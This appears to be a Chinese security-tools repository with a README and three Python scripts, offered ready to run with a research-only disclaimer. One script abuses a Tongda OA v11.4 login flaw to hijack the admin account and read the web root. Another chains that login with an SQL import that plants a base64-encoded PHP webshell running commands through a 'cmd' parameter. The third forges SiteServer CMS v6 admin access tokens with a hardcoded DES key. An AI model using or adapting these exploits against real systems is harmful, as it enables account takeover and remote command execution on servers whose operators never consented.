├── README.md
└── python
├── README.md
├── tongda_v11.4_get_webroot_poc.py
├── siteservercms_v6.py
└── tongda_v11.4_rce_exp.py
/README.md:
--------------------------------------------------------------------------------
1 | # tools
--------------------------------------------------------------------------------
/python/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Python
3 |
4 | ### SiteServerCMS
5 |
6 | - siteservercms_v6.py: SiteServerCMS 加解密算法Python3实现,适用于v6.x。
7 |
8 | ### 通达OA任意用户登录漏洞 ((影响版本:v2017、v11.x < v11.5)
9 |
10 | - tongda_v11.4_rce_exp.py: 匿名RCE ExP (脚本测试版本:v11.4);
11 | - tongda_v11.4_get_webroot_poc.py: 任意用户登录PoC(脚本测试版本:v11.4)。
12 |
13 |
14 |
15 | **免责声明:脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。**
16 |
--------------------------------------------------------------------------------
/python/tongda_v11.4_get_webroot_poc.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | '''
5 | @ 已测试通过版本: v11.4
6 | @ https://www.github.com/zrools/tools/python
7 | @ 修改 oa_addr 后: python3 tongda_v11.4_get_webroot_poc.py
8 | '''
9 |
10 | import requests, re
11 |
12 | session = requests.Session()
13 |
14 | oa_addr = 'http://192.168.0.3:8080'
15 |
16 | headers = {
17 | 'Accept-Encoding' : 'gzip, deflate',
18 | 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'
19 | }
20 |
21 |
22 | def login():
23 | login_url = '{}/logincheck_code.php'.format(oa_addr)
24 | login_code_url = '{}/general/login_code.php?codeuid=1'.format(oa_addr)
25 |
26 | login_headers = headers
27 | login_headers['X-Requested-With'] = 'XMLHttpRequest'
28 | login_headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
29 |
30 | res = session.get(login_code_url)
31 | code_uid = res.text.strip()[-40:-2]
32 |
33 | login_data = 'UID=1&CODEUID={}'.format(code_uid)
34 |
35 | res = session.post(login_url, data=login_data, headers=login_headers)
36 |
37 | if '"status":1' in res.text:
38 | return True
39 |
40 | return False
41 |
42 |
43 | def get_path():
44 | url = '{}/general/system/security/service.php'.format(oa_addr)
45 |
46 | res = session.get(url, headers=headers)
47 |
48 | web_path = ''
49 | # 避免正则报错
50 | for i in res.text.split("\n"):
51 | if 'WEBROOT' in i:
52 | web_path = i.split('"')[-4]
53 |
54 | return web_path.replace('\\', '\\\\')
55 |
56 |
57 | def main():
58 |
59 | if not login():
60 | print('login failed.')
61 | return False
62 |
63 | web_path = get_path()
64 | print('webroot: ', web_path)
65 |
66 | cookies = ';'.join([k + '=' + v for k, v in session.cookies.items()])
67 | print('cookies: ', cookies)
68 |
69 |
70 | if __name__ == '__main__':
71 | main()
72 |
--------------------------------------------------------------------------------
/python/siteservercms_v6.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | ' SiteServer CMS v6.x '
5 | ''' https://www.github.com/zrools '''
6 |
7 | import hmac, base64, hashlib, time
8 | from Crypto.Cipher import DES
9 |
10 |
11 | def encrypt(msg, key, iv):
12 | pad = 8 - len(msg) % 8
13 | for i in range(pad):
14 | msg = msg + chr(pad)
15 |
16 | obj = DES.new(key, DES.MODE_CBC, iv)
17 | buf = obj.encrypt(msg)
18 |
19 | txt = base64.b64encode(buf).decode()
20 | txt = txt.replace('+','0add0').replace('=','0equals0').replace('&','0and0')
21 | txt = txt.replace('?','0question0').replace("'",'0quote0').replace('/','0slash0')
22 | txt = txt + '0secret0' # v6.x
23 |
24 | return txt
25 |
26 |
27 | def decrypt(msg, key, iv):
28 | msg = msg.replace('0secret0','')
29 | msg = msg.replace('0add0','+').replace('0equals0','=').replace('0and0','&')
30 | msg = msg.replace('0question0','?').replace('0quote0',"'").replace('0slash0','/')
31 |
32 | obj = DES.new(key, DES.MODE_CBC, iv)
33 | txt = obj.decrypt(base64.b64decode(msg))
34 |
35 | return txt.decode('utf8')
36 |
37 |
38 | def get_hmac(msg, key):
39 | return base64.b64encode(hmac.new(key, msg, digestmod=hashlib.sha256).digest())
40 |
41 |
42 | def b64_de_replace(txt):
43 | txt = txt.replace('0secret0','') # v6.x
44 | txt = txt.replace('0add0','+').replace('0equals0','=').replace('0and0','&')
45 | txt = txt.replace('0question0','?').replace('0quote0',"'").replace('0slash0','/')
46 |
47 | return txt
48 |
49 |
50 | def base64_url_encode(msg):
51 | msg = msg.replace('=', '').replace('+', '-').replace('/', '_')
52 | return msg
53 |
54 |
55 | def base64_url_decode(msg):
56 | msg = msg.replace('-', '+').replace('_', '/')
57 | l = len(msg) % 4
58 | msg = msg + '=' * l
59 | return base64.b64decode(msg)
60 |
61 |
62 | def get_access_token(userid, username, key, iv):
63 | ss_type = '{"typ":"JWT","alg":"HS256"}'
64 | ss_info = '{"UserId":%s,"UserName":"%s","ExpiresAt":"\/Date(%s)\/"}' % (userid, username, int(time.time()*1000))
65 |
66 | b64_type = base64.b64encode(ss_type.encode()).decode()
67 | b64_info = base64.b64encode(ss_info.encode()).decode()
68 |
69 | ss_msg = '{}.{}'.format(b64_type, b64_info)
70 | ss_res = get_hmac(base64_url_encode(ss_msg).encode(), key.encode()).decode()
71 | token = '{}.{}'.format(base64_url_encode(ss_msg), base64_url_encode(ss_res))
72 |
73 | return encrypt(token, key[:8], iv)
74 |
75 |
76 | def main():
77 | iv = b'\x12\x34\x56\x78\x90\xAB\xCD\xEF'
78 | key = '6f2bc5f951826267'
79 | msg = 'ckhkjiP2arQ0equals00secret0' # octM
80 |
81 | # txt = encrypt(msg, key[:8], iv)
82 | # txt = decrypt(msg, key[:8], iv)
83 |
84 | txt = get_access_token(1, 'admin', key, iv)
85 |
86 | print(txt)
87 |
88 |
89 | if __name__=='__main__':
90 | main()
91 |
92 |
93 |
--------------------------------------------------------------------------------
/python/tongda_v11.4_rce_exp.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | '''
5 | @ 已测试通过版本: v11.4
6 | @ https://www.github.com/zrools/tools/python
7 | @ 修改 oa_addr 后: python3 tongda_v11.4_rce_exp.py
8 | '''
9 |
10 | import requests, base64, re
11 |
12 | session = requests.Session()
13 |
14 | oa_addr = 'http://192.168.0.3:8080'
15 |
16 | headers = {
17 | 'Accept-Encoding' : 'gzip, deflate',
18 | 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'
19 | }
20 |
21 |
22 | def login():
23 | login_url = '{}/logincheck_code.php'.format(oa_addr)
24 | login_code_url = '{}/general/login_code.php?codeuid=1'.format(oa_addr)
25 |
26 | login_headers = headers
27 | login_headers['X-Requested-With'] = 'XMLHttpRequest'
28 | login_headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
29 |
30 | res = session.get(login_code_url)
31 | code_uid = res.text.strip()[-40:-2]
32 |
33 | login_data = 'UID=1&CODEUID={}'.format(code_uid)
34 |
35 | res = session.post(login_url, data=login_data, headers=login_headers)
36 |
37 | if '"status":1' in res.text:
38 | return True
39 |
40 | return False
41 |
42 |
43 | def upload_file(web_path):
44 | upload_url = '{}/general/system/database/sql.php'.format(oa_addr)
45 |
46 | upload_data = base64.b64decode( 'LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0yMDc0OTk3Njg4MjE0NjY5MjYzOTIwNTI0OTEzNjINCkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3FsX2ZpbGUiOyBmaWxlbmFtZT0iZXhwLnNxbCINCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC1zcWwNCg0Kc2V0IGdsb2JhbCBnZW5lcmFsX2xvZz0nb24nOwpzZXQgZ2xvYmFsIGdlbmVyYWxfbG9nX2ZpbGU9J01ZT0FfV0VCU0hFTEwnOwpzZWxlY3QgIjw/cGhwICRjb21tYW5kPSRfR0VUWydjbWQnXTskd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOyRleGVjID0gJHdzaC0+ZXhlYygnY21kIC9jICcuJGNvbW1hbmQpOyAkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOyAkc3Ryb3V0cHV0ID0gJHN0ZG91dC0+UmVhZEFsbCgpO2VjaG8gJHN0cm91dHB1dDs/PiI7CnNldCBnbG9iYWwgZ2VuZXJhbF9sb2c9J29mZic7Cg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0yMDc0OTk3Njg4MjE0NjY5MjYzOTIwNTI0OTEzNjItLQ==')
47 |
48 | shell_path = '{}\\\\api\\\\test.php'.format(web_path)
49 | upload_data = upload_data.decode('utf8').replace('MYOA_WEBSHELL', shell_path).encode('utf8')
50 |
51 | upload_headers = headers
52 | upload_headers['Content-Type'] = 'multipart/form-data; boundary=---------------------------207499768821466926392052491362'
53 |
54 | res = session.post(upload_url, data=upload_data, headers=upload_headers)
55 |
56 | webshell = ''
57 |
58 | if '数据库脚本导入完成' in res.text:
59 | webshell = '{}/api/test.php?cmd=ipconfig'.format(oa_addr)
60 |
61 | return webshell
62 |
63 |
64 | def get_path():
65 | url = '{}/general/system/security/service.php'.format(oa_addr)
66 |
67 | res = session.get(url, headers=headers)
68 |
69 | web_path = ''
70 | # 避免正则报错
71 | for i in res.text.split("\n"):
72 | if 'WEBROOT' in i:
73 | web_path = i.split('"')[-4]
74 |
75 | return web_path.replace('\\', '\\\\')
76 |
77 |
78 | def main():
79 |
80 | if not login():
81 | print('login failed.')
82 | return False
83 |
84 | web_path = get_path()
85 | print('webroot: ', web_path)
86 |
87 | cookies = ';'.join([k + '=' + v for k, v in session.cookies.items()])
88 | print('cookies: ', cookies)
89 |
90 | if web_path:
91 | webshell = upload_file(web_path)
92 | if webshell:
93 | print('webshell: (GET) {}'.format(webshell))
94 | return True
95 |
96 | print('getshell failed.')
97 |
98 |
99 | if __name__ == '__main__':
100 | main()
101 |
--------------------------------------------------------------------------------